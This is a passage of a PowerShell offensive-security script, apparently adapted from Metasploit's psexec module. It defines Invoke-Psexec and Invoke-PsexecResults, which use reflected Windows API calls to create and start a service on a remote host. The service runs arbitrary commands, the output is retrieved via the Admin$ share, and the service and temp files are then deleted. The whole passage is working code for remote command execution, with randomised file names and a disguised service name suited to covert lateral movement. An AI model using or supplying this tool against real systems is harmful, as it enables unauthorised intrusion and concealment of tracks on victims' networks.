Param ( [OutputType([IntPtr])] [Parameter( Position = 0, Mandatory = $True )] [String] $Module, [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure ) # Get a reference to System.dll in the GAC $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get a reference to the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') # Get a handle to the module specified $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) # Return the address of the function Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } # Declare/setup all the needed API function # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA $OpenSCManagerADelegate = Get-DelegateType @( [string], [string], [Int]) ([IntPtr]) $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA $OpenServiceADelegate = Get-DelegateType @( [Int], [String], [Int]) ([Int]) $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA $CreateServiceADelegate = Get-DelegateType @( [Int], [string], [string], [Int], [Int], [Int], [Int], [string], [string], [Int], [Int], [Int], [Int]) ([IntPtr]) $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA $StartServiceADelegate = Get-DelegateType @( [Int], [Int], [Int]) ([Int]) $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService $DeleteServiceDelegate = Get-DelegateType @( [Int] ) ([Int]) $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError $GetLastErrorDelegate = Get-DelegateType @() ([Int]) $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) # Step 1 - OpenSCManager() # 0xF003F = SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx "[*] Opening service manager" $ManagerHandle = $OpenSCManagerA.Invoke("\\$HostName", "ServicesActive", 0xF003F) Write-Verbose "[*] Service manager handle: $ManagerHandle" # if we get a non-zero handle back, everything was successful if ($ManagerHandle -ne 0){ # Step 2 - CreateService() # 0xF003F = SC_MANAGER_ALL_ACCESS # 0x10 = SERVICE_WIN32_OWN_PROCESS # 0x3 = SERVICE_DEMAND_START # 0x1 = SERVICE_ERROR_NORMAL "[*] Creating new service: '$ServiceName'" $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) Write-Verbose "[*] CreateServiceA Handle: $ServiceHandle" if ($ServiceHandle -ne 0){ Write-Verbose "[*] Service successfully created" # Step 3 - CloseServiceHandle() for the service handle "[*] Closing service handle" $t = $CloseServiceHandle.Invoke($ServiceHandle) # Step 4 - OpenService() "[*] Opening the service '$ServiceName'" $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) Write-Verbose "[*] OpenServiceA handle: $ServiceHandle" if ($ServiceHandle -ne 0){ # Step 5 - StartService() "[*] Starting the service" $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) # if we successfully started the service, let it breathe and then delete it if ($val -ne 0){ Write-Verbose "[*] Service successfully started" # breathe for a second Start-Sleep -s 1 } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() if ($err -eq 1053){ Write-Verbose "[*] Command didn't respond to start" } else{ Write-Warning "[!] StartService failed, LastError: $err" } # breathe for a second Start-Sleep -s 1 } # start cleanup # Step 6 - DeleteService() "[*] Deleting the service '$ServiceName'" $val = $DeleteService.invoke($ServiceHandle) if ($val -eq 0){ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() Write-Warning "[!] DeleteService failed, LastError: $err" } else{ Write-Verbose "[*] Service successfully deleted" } # Step 7 - CloseServiceHandle() for the service handle "[*] Closing the service handle" $val = $CloseServiceHandle.Invoke($ServiceHandle) Write-Verbose "[*] Service handle closed off" } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() Write-Warning "[!] OpenServiceA failed, LastError: $err" } } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() Write-Warning "[!] CreateService failed, LastError: $err" } # final cleanup - close off the manager handle "[*] Closing the manager handle" $t = $CloseServiceHandle.Invoke($ManagerHandle) } else{ # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx $err = $GetLastError.Invoke() Write-Warning "[!] OpenSCManager failed, LastError: $err" } } function Invoke-PsexecResults { <# .SYNOPSIS This function utilizes Invoke-Psexec to execute a command on a remote system using the service handler with the results redirected to a temporary text file, retrieves the text file and then cleans everything up. Adapted from MSF's version (see links). Author: @harmj0y License: BSD 3-Clause .PARAMETER HostName Hostname to run the command on. .PARAMETER Command Binary path (or Windows command) to execute. .PARAMETER ServiceName The name of the service to create, defaults to "TestSVC" .PARAMETER ResultFile Name of the file to write the results to locally, defaults to copying in the temporary result file to the local location .EXAMPLE > Invoke-PsexecResults -HostName 192.168.50.200 -Command "dir C:\" -ServiceName Updater32 -ResultFile "results.txt" Runs the "dir C:\" command on 192.168.50.200 with a temporary service named 'Updater32', and copies the result file to "results.txt" on the local path. .LINK https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/smb/psexec.rb #> [CmdletBinding()] param( [Parameter(Mandatory = $True)] [string] $HostName, [Parameter(Mandatory = $True)] [string] $Command, [string] $ServiceName = "TestSVC", [string] $ResultFile = "." ) # http://stackingcode.com/blog/2011/10/27/quick-random-string function Local:Get-RandomString { param ( [int]$Length = 12 ) $set = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ".ToCharArray() $result = "" for ($x = 0; $x -lt $Length; $x++) { $result += $set | Get-Random } $result } # $TempText = "temp.txt" $TempText = $(Get-RandomString) + ".txt" # $TempBat = "temp.bat" $TempBat = $(Get-RandomString) + ".bat" $cmd = "%COMSPEC% /C echo $Command ^> %systemroot%\Temp\$TempText > %systemroot%\Temp\$TempBat & %COMSPEC% /C start %COMSPEC% /C %systemroot%\Temp\$TempBat" Write-Verbose "Command: $cmd" # invoke the command specified "[*] Executing command: '$Command'" Invoke-Psexec -HostName $HostName -Command $cmd -ServiceName $ServiceName # retrieve the result file for the command $RemoteResultFile = "\\$HostName\Admin$\Temp\$TempText" "[*] Copying result file $RemoteResultFile to '$ResultFile'" Copy-Item -Path $RemoteResultFile -Destination $ResultFile # clean up the .txt and .bat files "[*] Removing $RemoteResultFile" Remove-Item $RemoteResultFile "[*] Removing \\$HostName\Admin$\Temp\$TempBat" Remove-Item "\\$HostName\Admin$\Temp\$TempBat" }